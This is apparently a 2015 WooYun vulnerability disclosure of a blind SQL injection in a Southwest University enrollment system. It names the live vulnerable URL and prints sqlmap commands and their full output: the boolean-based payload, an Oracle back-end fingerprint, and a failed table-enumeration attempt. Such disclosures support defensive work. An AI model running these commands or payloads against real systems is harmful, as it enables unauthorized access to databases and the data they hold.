当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095819

漏洞标题:西南大学某系统SQL盲注

相关厂商:西南大学

漏洞作者: venc

提交时间:2015-02-06 11:49

修复时间:2015-02-11 11:50

公开时间:2015-02-11 11:50

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-06: 细节已通知厂商并且等待厂商处理中
2015-02-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

西南大学某系统SQL盲注漏洞

详细说明:

西南大学数字迎新系统SQL盲注漏洞一枚,详细url:http://nsrs.swu.edu.cn/szyx/szyx/liberty/msgmanage.do?action=show_msg&id=1408932887660

1.jpg

2.jpg

4.jpg

3.jpg

漏洞证明:

root@kali:~# sqlmap -u "http://nsrs.swu.edu.cn/szyx/szyx/liberty/msgmanage.do?action=show_msg&id=1408932887660"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:53:19
[15:53:19] [INFO] testing connection to the target URL
[15:53:19] [INFO] testing if the target URL is stable. This can take a couple of seconds
[15:53:21] [INFO] target URL is stable
[15:53:21] [INFO] testing if GET parameter 'action' is dynamic
[15:53:22] [INFO] confirming that GET parameter 'action' is dynamic
[15:53:22] [WARNING] GET parameter 'action' does not appear dynamic
[15:53:22] [WARNING] heuristic (basic) test shows that GET parameter 'action' might not be injectable
[15:53:22] [INFO] testing for SQL injection on GET parameter 'action'
[15:53:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:53:23] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:53:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:53:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:53:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:53:33] [INFO] testing 'MySQL inline queries'
[15:53:34] [INFO] testing 'PostgreSQL inline queries'
[15:53:34] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:53:44] [INFO] testing 'Oracle inline queries'
[15:53:45] [INFO] testing 'SQLite inline queries'
[15:53:45] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:53:45] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[15:53:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:54:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:54:04] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:54:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:54:37] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:54:38] [INFO] testing 'Oracle AND time-based blind'
[15:54:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:55:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:55:18] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[15:56:06] [WARNING] GET parameter 'action' is not injectable
[15:56:06] [INFO] testing if GET parameter 'id' is dynamic
[15:56:06] [INFO] confirming that GET parameter 'id' is dynamic
[15:56:08] [INFO] GET parameter 'id' is dynamic
[15:56:09] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[15:56:09] [INFO] testing for SQL injection on GET parameter 'id'
[15:56:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:56:12] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[15:56:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:56:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:56:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:56:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:57:01] [WARNING] connection timed out while trying to get error page information (404)
[15:57:01] [INFO] testing 'MySQL inline queries'
[15:57:02] [INFO] testing 'PostgreSQL inline queries'
[15:57:05] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:57:05] [INFO] testing 'Oracle inline queries'
[15:57:05] [INFO] testing 'SQLite inline queries'
[15:57:06] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:57:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:57:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:57:09] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:57:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:57:10] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:57:20] [INFO] testing 'Oracle AND time-based blind'
[15:57:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:57:30] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[15:57:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:58:07] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 261 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=show_msg&id=1408932887660 AND 7258=7258
---
[15:59:26] [INFO] testing MySQL
[15:59:26] [WARNING] the back-end DBMS is not MySQL
[15:59:26] [INFO] testing Oracle
[15:59:26] [INFO] confirming Oracle
[15:59:26] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[15:59:26] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 209 times
[15:59:26] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/nsrs.swu.edu.cn'
[*] shutting down at 15:59:26
root@kali:~# sqlmap -u "http://nsrs.swu.edu.cn/szyx/szyx/liberty/msgmanage.do?action=show_msg&id=1408932887660" --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:59:43
[15:59:43] [INFO] resuming back-end DBMS 'oracle'
[15:59:43] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=show_msg&id=1408932887660 AND 7258=7258
---
[15:59:44] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[15:59:44] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[15:59:44] [INFO] fetching database (schema) names
[15:59:44] [INFO] fetching number of databases
[15:59:44] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[15:59:44] [INFO] retrieved:
[15:59:47] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[15:59:47] [ERROR] unable to retrieve the number of databases
[15:59:47] [INFO] falling back to current database
[15:59:47] [INFO] fetching current database
[15:59:47] [INFO] retrieved:
[15:59:51] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes
[15:59:51] [CRITICAL] unable to retrieve the database names
[15:59:51] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 10 times
[*] shutting down at 15:59:51

修复方案:

guolv

版权声明:转载请注明来源 venc@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-02-11 11:50

厂商回复:

最新状态:

暂无